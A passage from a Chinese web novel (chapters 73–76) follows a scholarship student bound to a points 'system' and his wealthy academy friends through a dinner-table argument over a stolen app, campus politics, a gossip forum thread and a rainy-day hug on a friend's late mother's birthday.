“表哥……” “他当时要是心狠一点他妈会死吗?张婉菲跟时竞能进门吗?这一切怪谁?”长方形再次平地拔起,伸手一指,对准温绒,“当时要是听我的直接找人弄死那对母子,他也不会来弗罗里曼学院引起这么多麻烦。” 死…… 这个字好像跟其他字不一样,橡胶球似的在墙上弹,一阵一阵撞进耳朵。 李奥闭上嘴,明显感觉到唇瓣干涩。 好像是有这么回事吧。 表哥先发现的张婉菲母子,提示时野了,但时野没答应。 李奥当时其实跟时野一样不理解表哥的提议,可是后来时野妈妈去世,时野他爸把张婉菲母子正大光明带进时家。 李奥想,或许表哥是对的。 表哥有表哥的考虑,盗用新闻社软件的事情也是,时间会证明一切。 “学长,我刚才忘记跟时野说我不吃辣了。现在还来得及吗?” 与这些往过不相干的人不合时宜地打破寂静。 这种拙劣手段过于不忍直视,幸好响起一声“咔擦”。 一个穿着白色厨师服装的人端着托盘进来,紧接着又一个同样装束的人进门。 时野低头进门,看见四人在沙发边,嘴边难得挂起笑,“聊的什么天,这位……难得表情这么激烈。” 表哥别开脸不让时野再看笑话,莱昂表演难得一见的变脸技术,从跟表哥争锋相对刀刀互捅的狂徒化为温柔和煦的学长,柔声跟温绒说:“辣的让厨房端下去重新做就行了……饿不饿?走吧,吃饭。” 李奥看着莱昂伸手拉住温绒的手臂,教小孩走路似的把他扶了起来,带到餐桌边,亲自拉椅子,叠方巾放在腿上,又倒水,喂到嘴边。 行为似乎比刚才更亲密了,不过温绒明显不适应,身体一直后倒,隐隐有些想拒绝。 李奥最开始没太明白,但看见时野,又想明白了些。 打算提示表哥看戏,正好也缓一缓被激起的怒气,偏头惊讶发现表哥正在以一种暗沉的目光朝莱昂的方向打量。 “表哥,吃饭。”李奥出口提醒。 “嗯。” 最后一道菜在桌子上落下,酒店人员退出去,四周陷入一片寂静,只有筷子不小心戳到盘子上的声音。 李奥记得上一次吃饭还是在自己高中时,表哥忙于学业,自己正焦虑是否能被弗罗里曼学院录取。 那天只有莱昂跟时野是开心的,莱昂根本不担心录取的事情,弗罗里曼学院不招收他是弗罗里曼学院的损失,至于时野,刚初中毕业的小屁孩能有什么烦恼。 那会儿时野在玩赛车,具体名字记不得了,各种赛车比赛的分类比代码还复杂,就只记得比赛期间允许合理碰撞。 飙到最高速度的碰撞跟车祸没区别。 那会儿李奥还奇怪,怎么时野他爸允许家族唯一继承人去玩很容易死的项目。 后来真相大白了,因为他爸就等着他死让时竞上位。 但时野真的很难杀。 听说第一次比赛就吃了瘪,车在赛道上当飞饼跑了好几圈,四个轮子剩两个,而时野只是右手打了石膏。 唯一吃的苦大概是那天被表哥刻意抢走好几次菜吧。 “吭——” 就是这个声音,时野每次跟表哥夹到一样的菜就会气得摔筷子问你是不是故意的,表哥肯定不承认,还建议他改用婴儿勺吃饭。 那会儿啊,那会儿跟现在好像没怎么变,表哥依然跟时野争锋相对。 但又好像变了,李奥心里稍稍一细想就知道答案,只是不敢去想。 时光回转,白色的大盘子里落着一双木质的筷子,银制叉子离开。 莱昂假装不经意地说:“换厨师了,跟小时候不一样。” 周谢:“……” 以前那个厨师都死了,你不是参加过葬礼么。 李奥搞不明白莱昂忽然提起这茬干嘛。 “罚温绒红牌……” 哦,到饭桌上才想起来要求表哥消掉温绒的红牌,摆出求人的姿态了。 “你还不许别人帮他,做得太过了。” 周谢:“过分么。” “既然大家都坐下来谈和了,你回去找个理由把红牌消一下。”又补充,“我配合你。” 李奥扯了下嘴角,知道接下来该播放表哥的BGM。 “消红牌可以,要把新闻稿造成的经济损失赔了,还要让所有利益受损的人原谅他,你怎么配合,代替他一个一个去上门赔罪吗?” 表哥冷笑一声,继续嘲讽:“他是你亲儿子吗?什么都要你帮他擦屁股。” 有道理。 李奥绷着脸,“嗯”一声表示赞同。 “喂。”时野摔下筷子,“那些人重要吗?管他们——” 周谢打断他:“怎么不重要,那些人打开关系网往上追个七八人,跟议会那些老头都有点关系。你别忘了,你家每年能得多少钱还要那些老头子同意。” 说不够,又偏头看向莱昂,“莱昂你需要的稀缺材料也要我去求那些老头点头。” 最后随手指向温绒,“这些人哪里不重要?打个哈欠就能把他弄死的人哪里不重要?我罚他红牌,让他穿女装,只是给这些人开一个宣泄口。不然谁知道他会死在什么地方又引一堆麻烦事出来。” 说完,李奥在心里标注个巨大的“ko”。 表哥:1 时野&莱昂:0 表哥的考虑一直都是对的。 “没有人会因为一篇新闻稿改变主意。” 再这样沉默的胜利中,边角落的人再次不合时宜地出声。 “你闭嘴!” 不闭:“你说很多人有经济损失,其实他们本身就备受质疑,还能昧着良心赚钱,只是因为很多人跟你一样窝囊。” “你——” “你怕死。” 李奥看到表哥身体晃动,好像是错觉,再眨眼表哥又直挺挺地站着。 他的斜对面,温绒说:“我理解你的,你拥有很多,所以你不想死,还想保护住手里的东西。但你对,不代表我是错的,我们只是立场不同。我站在被你们压迫的这一方。” “什么立场不立场,你就说你能有什么用。” 表哥没等温绒回答,又怒道,“连成绩也只能勉强排在中间,如果不是特招,你根本不配进入弗罗里曼学院。” 提及成绩,温绒显然气势弱了半截,但很快又重新往上冲,“为什么一定要成绩拔尖才算有用。如果科普软件的点子没有用,你就不会直接盗用我们的成果。” 盗用 软件 真……敢说。 为什么要说出来。 “没有我在背后拉关系,软件只会烂在你们手里。” “没有我们做这个软件,你连拉关系的机会都没有。” 别再说软件了。 李奥手指用力,几乎是把筷子握在手里,把饭中间戳出一个肉眼可见的洞。 “软件是怎么回事?”时野插入这段吵架。 “软件应该是李奥做。”莱昂看向李奥,“你还需要盗用别人的软件吗?” 我…… 李奥手上动作停止,呼吸也停止了。 窒息的感觉让他头脑发胀。 幸好表哥的声音没有停,“利用学校招牌来发展的软件是你可以掌控的吗?你连商业竞争是什么都不知道,也不知道蓝书这些大软件公司会怎么恶意泼脏水损害学校名誉。” “都没发生你怎么知道我处理不了。” “连学校的资金申请都通不过,你能处理什么。” “那是因为你无理由驳回了我们的申请。” “我有权力无理由拒绝你。” 表哥的声音几近嘶吼,“你以为只有我有这样的权力吗?你惹的所有人都有这种权利。你拿版号,审批的单位要找议会里的老头子点头,你上架应用,各大公司要找他们探口风。你以为只是做出来就可以了吗?呵,别想着软件了,想想你自己。你现在被这些人记住了,等毕业,有你的苦头吃……你能顺利毕业吗?第三学期的实践,没有一个地方会要你。” 温绒将要开口,莱昂忽然伸手拉了下他的袖子。 温绒立马咬住嘴低头。 “去我房间里玩吧。” “……”他沉默了下,“学长对不起。” 莱昂笑,“怎么跟我道歉了。” “我……” 温绒犹豫了下没说出口,轻轻从椅子上走开,又轻轻把椅子推回桌子上,轻轻上楼。 李奥终于在吵架中缓过神,短暂忘记盗用的事,慢悠悠往嘴里塞饭。 一边咀嚼,一边想,温绒好幼稚,莱昂跟时野怎么会看上他。 再仔细一回忆刚才,回忆那张脸…… 嗯,很平民的脸。 满脸清澈,一眼就望得到胸口那颗天真愚蠢的心脏。 如果在几百年前,他肯定是冲在最前面,脑子也不怎么好使的热血青年。 当然,这样的热血青年有很多,不过没多少人记得他们的名字,因为脑子太笨,都死了。 太奇怪了。 时野喜欢就算了,莱昂这么爱隔岸观火的人到底看上他哪了?只是脸吗? 啪。 楼上传来稍微大一点的关门声。 不像是生气甩门,反倒像是信号,告诉他们“你们说悄悄话吧,我已经彻底离场了”。 “周谢——”莱昂果然一接到信号就开口,“他学东西很快,我告诉他事情不分对错,他今天就很明确知道你说的都没有错。” 表哥抬手理了理衣领,“他要是真的学得快就知道什么叫审时夺度。” 莱昂低头笑一声,“指责他之前不如先听我说完。” “……” “你没有问题,遵守秩序也没有问题,以你的身份立场去迎合议会那些老头更没有问题。不可否认,未来有一天我跟时野也会走上你的路,你现在只是走在了我们前面。” 大概是这些话确实说到了自家表哥心里,李奥听见表哥的哼声比刚才更响亮。 “只是历史是流动的,每一个时代都有每一个时代的需求。曾经的那套已经不适用现在了,你看……所有的事都要等着议会那几个老头同意。你在学校有点权力,我有点科研成果,但我们还是要迎合那几个老头。” “这样的后果我们开学时曾经讨论过,科技停滞70年,联邦的上层阶级抱得越来越紧,催生出越来越多掌握着财富和权力的蠢货。” “弗罗里曼学院真的只有温绒是‘特招生’吗?多少人真的够资格进来?” “这些蠢货生的小蠢货在学校占着资源,毕业了依靠校友身份占用财富和地位,那些真正凭实力进学校的人只能给他们当狗。” “因为是全世界最好的朋友……呵。”莱昂喝了口水润嗓子,大概自己也觉得这种说法肉麻搞笑,嘴角微扬,“因为是你们,我才在这个饭桌上把心里话说出来:现在需要的是变革。” “至于理由,大概是你让我把投票箱给温绒那天,他给我说的话。” “我说赵泽阳当网球社社长可以维持稳定。他说,根据投票结果看,赵泽阳继续当社长,只有赵泽阳开心,大多数社员都不开心,这样迟早也会引发混乱。” “你以为那些高傲了18年,进入弗罗里曼学院后被迫当狗的人很开心吗?他们是大多数,他们迫切需要一个宣泄口。” “我很确定温绒会是这个口子,未来他背后会有99%的人。聪明人要做的就是顺应时代趋势,跟随新的领袖清洗那1%。” 风声忽然很明显,奇特得就像莱昂第一次发出偏向性的言论。 只有从小一起长大的人才知道这是多震惊的事情。 就像时野忽然满肚子坏水,表哥忽然施行真善美。 “看来你是真的喜欢他。” 表哥说出他的心声。 “说喜欢太浅薄,我愿意奉献一生跟随他。” “呵——” “同时也想去议会里坐一坐。” 莱昂低头搅弄咖喱,浓稠的液体难以化开,落在银制勺子上的光慢慢被液体覆盖,就好像刚才说的那些话,动摇周谢眼底的暗光。 李奥知道表哥动心了。 接下来的午饭在死寂中进行,也在死寂中结束。莱昂上楼,李奥的房间在时野隔壁,他在房间里打游戏的时候,隔壁老传来摇猫铃铛的噪音。 好烦。 李奥:[能不能别摇你那个破铃铛,影响我打游戏。] 时野:[你打游戏不戴耳机?] 说得对,他没戴耳机。 屏幕一黑,复活开始倒计时,屏幕左下角队友骂骂咧咧:[0-7,我用脚都打得比你好。] 对,打得太烂了。 右下角弹出消息,他申请的机器人制作提案被校长驳回,因为已经有智能机器人公司准备做了,那家公司不需要竞品。 太对了,温绒背后肯定会有99%。 因为被压太久了,满心都是往1%冲的欲望。 第74章 第 74 章 共沉沦! 温绒还不知道自己被寄予厚望, 站在门边焦急等待莱昂回来。 周谢是莱昂学长从小一起长大的朋友,自己又在学长那里受惠许多,刚才不该跟周谢争吵的。 一、二、三、四……个半, 把时野勉强算进去,他的朋友就只有四个半,失去哪一个都会难过。 胸口的心脏忐忑着,身体也不禁来回踱步。 直到门锁突然发出响声,目光所及,门把手逆时针旋转60°。 咔擦 温绒屏住呼吸,“学长……” “无聊吗?” 他甩脑袋, “对不起。” “怎么了?” “我不应该跟周谢吵架,让你难做了。” “没事。”莱昂抬手手拨一拨,示意他别挡在门背后, “刚才叫你上来就是因为我打算跟周谢大吵一架。” “你们别因为我吵架。” “别着急,我进来慢慢给你说。” 温绒的心脏稍稍平稳,往旁边挪一步, 让莱昂进门。 “跟周谢吵架很正常,他性格不好, 很会惹人生气。” “你们经常吵架吗?” “嗯,时野甚至跟他从小打到大。” 原来还有这样奇妙的朋友关系。 温绒张大嘴,被新增长的见识震慑住了。 莱昂拍拍他的后背,“过来坐, 我要跟你单独聊聊。” 莱昂学长的房间有个小阳台,阳台外布置简单,一张小桌子,两把椅子,像是专门用来休憩喝茶的。 风有些冷, 带着咸腥的海上湿气,温绒忍不住揉了下鼻子。 “周谢虽然讨厌,但他说的话不是没有道理,你不应该发那篇文章引起公愤。” 不发那篇文章我就会死。 温绒不能告诉莱昂学长自己绑着系统需要攒积分才能活下去,只能收下学长的好意,“对不起学长,我下次一定注意。” “接下来有校庆,依照我对学校的了解,他们会在校庆的时候把这件事处理了。你这段时间乖一点,不要闹事,等事情彻底过去再说。” “……嗯。” “还有,第三学期的实践课你不用担心,我可以帮你找研究院。” 温绒下意识拒绝,“不用不用。” “第三学期你要写一篇论文,最终成绩要看你的论文上什么水平的期刊以及影响因子……普通项目肯定拿不了高分,而且普通研究院的资金不足,你光是搞研究发论文都需要额外的一大笔钱,去好一点的研究院,研究项目重要,资金也充足。” 温绒明白了学长的意思。 风扑扑的,心里一阵暖。 学长对我真好。 风再扑扑吹凉脸颊,他莫名想起学长说的故事,心中生出一丝怪异的感觉。 学长敏锐发觉,“怎么了?” 温绒忙答,“没——” “……”湛蓝的眼睛缓慢挪动,从疑惑到意会最后微笑,“再给我讲讲你这段时间遇到的事吧。” “……好。” 东拉西扯,颠三倒四地把这段时间发生的事重新讲一遍。天黑前,温绒郑重思考后还是麻烦学长送自己回学校。 刚踏进宿舍大门,系统提示又获得一点积分,因为有人把黏糊糊的洗发水全倒在他的门把手上。 温绒并没有因为增长积分而高兴,摸出纸巾简单擦去门把手上的东西,进门。 系统发觉了他的沉默,找话题:【宿主这次很成功,继续努力说不定很快就攒够积分了。】 “嗯。” 温绒心不在焉地对着空气点头,脱去衣服,到卫生间洗澡。 蒸汽充盈,洗手池的玻璃上挂满水珠,随意一抹,出现扇子一样的光洁画面。 净白的脸蛋被热水烫得通红,头发稀稀拉拉贴着头皮,微长,几乎要盖住眼睛。 眼睫感受到阻力,随即抬手抓住一缕,立起来。 又一缕,立起来。 他艰难勾起嘴角假装高兴,左右晃脑欣赏自己的“拉风”发型。 直到笑容逐渐凝固在唇上,嘴角抽筋。 系统看着过低的情绪值,担心道,【怎么了?】 温绒停下动作,虚假的笑容也撤去,镜子映出一张忧愁的脸。 “哥哥,我现在才知道,莱昂学长对我太好了。” 【嗯。】 “就是……他本来跟周谢吵架的,为了消掉我的红牌,又拉下面子和周谢说话……还有他说要给我介绍工作,去那种很厉害的研究院。” 温绒湿淋淋地站在洗手池旁边,身形细长,比刚来时胖些,肉包裹骨头,两肋已经见不到骨头的形状。 盖在阴影里的浅眸微微眯起,仔仔细细观察镜子里的脸。 “哥哥,莱昂学长是不是跟梁学长一样喜欢我的脸?” 【……】 “我越想,越觉得是这样。” 顿了下,“现在才发现是不是太晚了。” 【晚了?】 “我舍不得学长。” 【舍不得?】语出惊人,系统的cpu都开始卡了。 “我应该不爱学长。但我要是拒绝他,以后就不能做朋友。” 沉默半秒,继续说:“他已经是我特别重要的朋友了,我舍不得。” 【……】 系统也没想到自己一个机器人有一天要给宿主□□情指导。 【宿主,莱昂还没给你表白,你先不要想着拒绝。万一他喜欢着喜欢着就移情别恋了。】 温绒眼底蹭一下晶亮,“会移情别恋吗?” 【可能。】系统回答完,想到另一种可能性,连忙补充,【只是移情别恋后他应该不会像现在一样对你这么好了。】 温绒眼睛蓦然瞪大,不言。 静止片刻,他浑身一震,匆忙打开水龙头捧起冰水往脸上泼。 泛红的脸颊被冻出血块,眼白都因为进水而泛起异样的红。 【宿主?】 温绒用力抹去脸上的水,深吸一口气,“哥哥,我是不是太贪心了。” 【贪心什么?】 “我觉得现在这样很好,我想一直保持这样。如果以后学长变了我会很难过。” 【那你爱他吗?】 爱……? 这个词从来没有出现在温绒的世界过,他有些困惑,什么样的感觉叫爱。 【或者说,如果他离开你,你会难过吗?】 “我当然会难过。”温绒不假思索。 【那你就是爱他的。】 这样确认太过草率,温绒努力想了想,反驳:“可我没想过跟他组建家庭。” 【……】 “如果新闻社的学长们离开,我也会难过。” 系统都有点被温绒绕晕了,望着莱昂名字旁边满满的好感度条,无意间瞥到时野,机器人想到一个绝妙的办法: 【如果时野喜欢你呢。】 【你也会舍不得吗?】 “……” 【宿主?】 温绒又一次浑身抖动,从沉思中回神,绝望地捂住脸,“哥哥,出问题了。” 【怎么了?】 “之前林启正学长提醒过我,时野跟莱昂学长喜欢我。” 【嗯,你当时还否认了。】 可是现在仔细想来,确实有这么一回事。 太多太多的理由可以佐证了,温绒越是回忆,就越确信。 因为梁学长也是这样! 温绒有点不好意思。梁学长对自己好,自己也满足他的想法cos了米璐璐。 但自己因此得到时竞跟莱昂学长的许多帮助,却没有任何回馈。 怎么办呐。 【宿主不用这么烦恼,他们都是自愿的。】 “……” 【学校里还有其他人也喜欢你,他俩跟其他人一样的。你平常心就好。】 “不一样。” 其他人都拒绝了,没有拒绝时野跟莱昂学长的好,上次爬山的那个药箱跟药剂就好多好多钱。 温绒垂下脑袋,直愣愣的头发维持不住形状,啪叽打在脑门上。 好像注入一丝电光,在迷茫的脑海中乍亮,引出一条路。 温绒脸上露出喜色,“那我也对他们好,是不是就可以抵消了。” 【……】 系统:如果你的数值面板有“配得感”这一项,一定是彻彻底底的0。 水分沉寂,镜子越来越清晰,边沿结起一排水珠,像是瓜果,熟透了会自己“啪叽”落下,时野在洗手池上累出小水滩。 手机就放在水滩边,关闭的屏幕隔绝了网络上的热闹。 黒鸽论坛 《我没看错吧,今天下午路过王艾伦的工作室,看见张锦程在里面》 [我特地趴在窗户边看了半小时,确定以及肯定张锦程真的在用王艾伦的工作室。] [王艾伦不是没抄袭吗?学校让张锦程进去是不是太不尊重王艾伦了。] [抄没抄袭另说,我妈刚才都打电话问我能不能找张锦程定老婆穿的那件纱衣。] [还是温绒太好看了。] [没多好看吧?不就一套画着浓妆的照片,那么多女明星都拍过,比他好看多了。] [确实穿古装不太好看,下次穿米璐璐的裙子吧。] [对对对,老婆就应该cos米璐璐。] [有那么饥渴吗?忘记他抹黑学校的事情了?] [毛线,我是在侮辱他。你不知道温绒最讨厌别人喊他老婆了吗?] [原来如此,对不起校友,刚才误伤了。] [嗯。] [不过我挺羡慕张锦程,现在外面个个都在求他的联系方式。王艾伦工作室的使用权肯定是他自己申请的,学生会竟然同意了。] 帖子里短暂陷入沉默,每个人默默刷新,始终没刷出新的东西。 何止羡慕,简直嫉妒死了! 谁不想当炙手可热的新秀啊! 随便做什么都能轻松赚钱,最好的资源,最包容的客户,不用跟别人一样继续熬一年、十年、甚至一辈子。 手指下滑,刷新。 [今天给学生会提申请又被驳回了,我还以为是学生会那些人挂了个按键统一驳回呢。] [谁不是呢,被驳回是我无法逃离的命运。] 张锦程的突然成功固然令人羡慕,但看到其他人跟自己一样惨,心情释然。 共沉沦! 第75章 第 75 章 拥抱 不知道谁放的消息, 说早上五点到六点之间能在食堂遇到特招生,在这样寒冷的冬天,食堂刚开门, 涌入一批探头探脑的学生。 他们好像在做着自己的事,但目光总是望门的方向瞥。 桌上的空碟子垒起来有小半个人高,谁都没有“吃饱”。 周谢在监控前眯起眼睛,觉得这场面似曾相识。 “莱昂又在搞什么。”说完,不等李奥汇报,再次开口:“这些蠢货被骗了第一次没得到教训还要被骗第二次。” “可能跟温泉那些不是同一批。”李奥敲了敲键盘,屏幕上弹出黑色窗口, 瞥见ip后眉毛一挑,“消息是林启正放出来的。” “温绒又要搞什么。” 提及林启正,表哥几乎是毫不犹豫地把目标放在温绒身上。李奥猜, 表哥已经彻底认可莱昂说的话了。 “不太能猜到。” “……” “还有另外一件事,王艾伦昨天下午在全平台否认抄袭,目前网上吵得很厉害。” “他还要继续混, 只能否认。” “那咱们……” “校长跟我通过电话,校庆要紧, 王艾伦这件事先揭过去。” 揭过去,等于找其他新闻来转移大众视野。 李奥熟悉这种操作,当即决定:“我找蓝书那边的人处理。” “现在不适合找蓝书。” 忘记了,科普软件做出来后分走了蓝书的流量, 目前蓝书正在暗地里憋着坏。 整个联邦能处理舆论转移视线的无非流量最大的蓝书,要么是掌握媒体的赵氏传媒。 可是赵泽阳被退学,赵氏传媒跟弗罗里曼学院的关系恶劣。 李奥顿了顿,“表哥,该找谁?” 周谢回头, 眼神明显:“你问我?”。 李奥解释,“不太好找,跟蓝书有点矛盾,跟赵氏传媒也有点矛盾。” 资源过于集中的弊端显而易见,跟他们闹翻后,找不到替代品。 “……” 显然这个问题也困扰周谢,空气静默几秒后,周谢收回眼继续看监控。 又过几秒,声音徐徐缓缓传进李奥的耳朵:“不用保王艾伦,随新闻社怎么做。” 李奥一愣,“随他们吗?” “嗯。” 周熙扯了扯嘴角,“莱昂说得对,联邦现在确实需要改变这个一家独大的格局。他愿意把温绒推上风口浪尖就让他去,失败了死的是温绒,成功了,我们可以坐享其成。” “嗯……” 不意外。 是表哥的风格。 李奥按下心里的不适,正想继续监控林启正的动向,右下角弹出天气预报。 阴,晚间有雨,6°。 这些都是次要的,李奥望着日期,想到时野昨天给他们甩脸子,话也不多,后来还跑房间里摇铃铛。 以为时野在跟表哥置气,现在才反应过来。 ——时野妈妈的生日到了- 林启正:[老幺,食堂去了好多人啊。] 温绒抿唇,对着空气露出笑容。 张锦程学长和科普软件的成功足够让学校里的其他人对自己生出期待的。 早上这件事只是最终确认:自己有分量。 接下来要确认自己的分量有多大。 怎么确认呢……温绒静静思考。 林启正:[对了,王艾伦否认抄袭,接下来怎么做。] 林启正:[学长现在是拥有50万活粉丝的博主,一声令下,小弟全部出动。] 林启正:[这次写什么。] 王艾伦! 手指在冷空气中渐渐僵硬,温绒的心却火热,改为语音输入:[激怒他。] 定好计划,差不多也走到时野的别墅。 不知道是不是天冷了的原因,今天的别墅被裹在浓浓的黑夜里。 走近大门,温绒终于找到不同。 平时这个点有人修剪草坪打扫卫生,整栋别墅都开着灯,上下亮堂堂的,今天好像一座弃置许久的老房子,没有生气,也没有灯。 有些怪。 咚咚 他还是走到大门口,抬手扣门。 过了会儿才有人来开。 里面比外面更黑,门缝露出老管家苍老的脸,愣了一下,“您好,来找少爷吗?” 温绒:“我们约好早上一起打网球。” “……”几秒后,老管家说:“可能少爷忘记告诉您了,今天他有事,不方便见客。” 管家说完,里面正好传来砰砰砰的打拳声,温绒立马猜到时野在打沙袋。 这几乎成了一个时野心情不好的信号,温绒毫不犹豫地到退一步,决定不去触霉头。 道别之前,打拳声又闷又重,往耳朵里砸。 温绒犹豫片刻便坚定起来,昨晚决定要好好对时野的,他应该遇到了什么事,正是回馈他的好时候。 于是跟管家说:“我来的有点早,还没吃早饭,可不可以在这里吃了再走。” 管家回头看一眼,打拳声默契停下。 黑暗中,一道高挑影子飘过来,语气不善,“谁在外面。” 这种问题很尴尬,温绒每次敲门都会遇到。 他其实并不习惯喊自己的名字的,这辈子喊别人的名字都比喊自己的名字多。 “我。”温绒小声回答,期望时野能听出自己的声音。 空气安静了下,传来一声喘气,“抱歉,忘记告诉你我今天有事。” “我有点饿。”温绒抢走话题防止时野说气话。 时野果然没说,问管家,“厨房还有吃的吗?” “我去做。” 管家往厨房走,时野站开一些,让温绒进门。 别墅里甚至比外面更冷,温绒打了个冷颤,听到“滴”一声,徐徐缓缓的热流从头顶飘过。 “要喝点什么。” 温绒摇头,手机震动,林启正又来了消息,[老幺,王艾伦跟赵泽阳沆瀣一气了!现在蓝书上到处都是水军说社长恶意炒作,我没激怒他,现在他成功把我激怒了。] “怎么了?” “没什么。”温绒给林启正回复了一句“晚点说”,把手机放回兜里。 时野岔腿坐在他的正对面,沙发矮,膝盖高高顶起,手肘搭在膝盖上,手掌交握。 缠手带没有拆开,白色中夹着红色,是里面的血渗了出来。 温绒静静望着,开始思考时野总伤害自己拳头的这件事情。 当然,起因肯定是心里不舒服需要疼痛来转移难受,自己小时候也会这样。 后来自己是怎么改变这个习惯的呢……他的记忆力一直很好,努力一下,就能在记忆匣子里找到。 “想什么,一副欲言又止的表情看着我。” 温绒猛然回神,“我有这样吗?” “废话。” “哦。” 温绒继续思考,自己当时就想努力准备高考好离开那个地方,一直想一直想,很想很想,所以痛苦全都被排在第二位,不在意了。 抓住一些方法,于是直接问:“你有梦想吗?” “噗嗤。”时野头埋下笑了声,连带着刘海颤抖,“什么鬼问题。” “或者有什么想做的吗?” “问这些干什么。” “心里有渴望,就不会在意一些让人不开心的事情了。” 顿了下,斟酌措辞,小心地给时野讲:“对不起,以前总说你情绪化,现在才知道你可能受了很多委屈。你有不开心的事情可以跟我说。” 其实不是才知道,上次爬山温绒就找时野说过,只是在对比“你可能受了委屈”之后觉得“才知道”的说法应该会让时野心里更舒坦点。 时野双手抱胸,靠到沙发背上,“你今天有点怪。” “我只是想关心你。” “关心我干什么,你不是更喜欢莱昂吗?” “……” 提到学长了啊。 以前温绒肯定点头,毕竟学长确实比时野重要。但昨晚之后反,温绒就不太好说这些话了。 “喂——”时野又喊。 “没有更喜欢。” 轮到时野沉默。 中央空调效果很好,别墅里已经热了起来,温绒包裹在厚衣服里,热气扑扑从脖子钻出来。 对面时野倒是清凉,就穿了件黑背心,打沙袋打出一身汗。 温绒解释,“学长很好,你也很好,我觉得经过这么长一段时间的磨合,我们已经是……” 慎重思考后继续说完,“朋友。” 朋友在温绒这里是最要好的关系了,分出这个头衔,他觉得自己对得起时野的“喜欢”。 “跟林启正他们一样?” “当然。” “跟张锦程也一样?” 温绒奇怪道,“林启正学长跟社长都是一样的呀。” “我跟莱昂也一样?” 昧着良心:“嗯。” “那你昨天还一直待在他房间里。” “……” 时野骤然警惕:“你们是不是一起看色情影片了。” 当然没看! 学长才不会拉着我看……但学长会分享给我。 温绒想到好早之前学长发个自己的视频,顿感窘迫,脸颊被热风吹得滚烫。 “艹,他竟然拉着你看那种东西。” “没有。”急忙反驳。 “什么没有,你这个反应就是有。” “学长说只有你爱看那些东西。” “老子才不看那种东西。” “……” “……” 对视两秒,时野尴尬别开脸,“我从来不看那个东西。” “哦。”不太相信。 “我真的不看那种东西,我连偶像剧都不看,我忙着训练,哪有时间看。” “哦……”有点相信。 “那你们没看影片,一直待在房间里面干嘛。” “在阳台上聊天。” “聊什么。” 温绒思索了下,“就普通的聊天,还提醒我接下来安分一点,不要惹事。” “哦。” 时野应一声,刚才激动的样子仿佛是回光返照,劲儿过去,就又蔫了。 话题到此结束。 管家端着早餐过来,时野不吃,继续去打沙袋。 温绒意识到自己“回馈失败”,有些郁闷,坐在餐桌边慢慢往嘴里塞东西。 管家发觉他的异常,还贴心问:“早餐不喜欢吗?” 温绒摇头,咀嚼得更快。 一顿早饭很快吃完,温绒没有继续打扰的理由,强行帮着管家收拾完餐具,外面的天彻底明亮。 他走到门口,告诉自己尽力就好,说不定时野的心里话只想给从小一起长大的学长说。 想着想着,忽然注意到脚步声响。 温绒回头发现时野跟在一米开外。 强烈的预感让他心情好转些,刻意站定,出声:“谢谢款待。” “嗯。” 时野眸色微沉,紧闭的唇略有松动。 温绒留足耐心,等他纠结。 良久,风吹得脸都有些冷,温绒半边头发掀起来,根根直立。 有些等不了了,于是主动问:“需要抱一下你吗?” 锋利的眉轻颤,“什么?” “我以前没什么朋友,不知道朋友心情不好该怎么安慰。但是我看女同学哭的时候其他女生都会抱抱她……你不想说话,那需要抱一下吗?” 翻眼:“我又不是女的。” “那行吧,之后你要是有想说的也可以在黒鸽上联系我。” “等等。” 温绒转身之际又被时野叫住。 温绒张嘴吸一口气。 时野就是这么反反复复,不算原则性缺点,能忍—— “你抱过莱昂吗?” “?” 诚实回答的话,有。在失重体验馆里就是靠学长才能保持平衡。 但温绒不想回答,因为他觉得这个问题带着暧昧,侮辱了那天的正常举止。 温绒不理解时野们的世界,他认为同性之间拥抱并不奇怪,有时候出于礼貌,异性之间拥抱也不奇怪,自己只是单纯想用拥抱代替语言安慰一下时野,可是从时野嘴里说出来,这种行为拥抱好像都成了色情片里不堪的双人行为。 “算了,你也抱抱我吧。” “……” 不想抱了。 时野大概发现了他的拒绝,垂下头,“今天是我妈的生日。” “…………” 温绒眼皮微动,忍不住展开双臂,向前贴近时野。 他的皮肤很凉,跟冰块一样,触碰到黑色背心的时候,忽然感觉时野比想象中还要“大块头”,手臂都无法合拢。 “可以了吗?” 温绒手酸,悄悄缩回。 “啪”,时野背手关门,身体向后靠到门上,脸几乎跟温绒平行。 天边出现乌黑,最开始只是很少的一片,几秒钟里疯狂扩张版图,越来越大,像被子完全盖在头顶,周遭又暗了下来。 轰隆—— 一声惊雷,光亮闪回。 温绒被提着腰向前扑,风呼呼穿过脖颈,背上升起凉气,但却感到热。 那不是风,是时野靠在他肩膀上吐息。 水珠排着队从云头往下跳,残肢残骸在地上积累成山,四处飞溅。 落到温绒的裤子上,后背上,恐怖至极,心脏剧烈地跳。 咚咚咚咚 咚咚咚 咚咚咚咚- 钟楼震荡,音波在雨水里孤独作响。 周谢撑伞下车,正提醒李奥不要把这件事给莱昂讲,一抬眼,看见远处有车开来,规规矩矩停在老爷车的后面。 意外,又不意外。 意外是竟然这么凑巧。 不意外是因为妈妈的茶话会中,最重要的日子就是彼此的生日,四人每年都要因为这件事见好多面。 莱昂下车,带着笑点头。 周谢微不可查地松了口气。 这就是他不怎么跟莱昂闹矛盾的原因,莱昂不会像时野,总会在这种时候来一句招人讨厌的“你来干嘛”。 莱昂还带了蛋糕。 雨太大,周谢只能走到他面前提醒:“他会把你这个砸了。” 莱昂顺势钻进伞里,“帮他脱敏。” “……” 周谢无言,正想着莱昂带了个蛋糕,自己空手过来是不是太奇怪,视线恍然瞥见别墅大门口—— 隔着雨幕,周谢勉强看清时野双腿岔开靠在门上,腿间站着个人。 身形比时野小一圈,扣在那里一动不能不动。 不像强制,偶尔会有低头这样的迎合动作。 背上那双手由搭在腰上变为扣紧。 “有人比我们先。” 下结论后,周谢发现伞里少了个人。 莱昂落在半步之外,死死盯着大门的方向,一动不动。 周谢反应过来,时野怀里的是谁。 第76章 第 76 章 时野抱完学长抱 雨势猛烈, 周谢心中闪过一丝不快,但这种微不可查的情绪很快盖过去。 他再回望别墅大门,时野同时也注意到了他。 藏在肩膀后面的目光隐隐带着敌意, 然而在触及莱昂时,双手回缩,放开了温绒。 周谢看见温绒做了个歪头的动作,好像在疑惑。 时野说了句话,雨声很大,听不清,不过温绒回了头, 那句话并不难猜。 没有按规定穿女装。 这是周谢的第一个想法。 在发现温绒没有露出丝毫窘迫,而是低头沉思的时候,他忽然觉得雨很重, 伞面在雨水的击打中哆嗦。 周谢不得不承认,自己对这样的神色产生了本能反应。 因为这是明显的思考动作,温绒一思考, 就有麻烦事发生。 他又觉得可笑,自己竟然在一个特招生面前感到胆怯。 为了结束这个不合理的情绪, 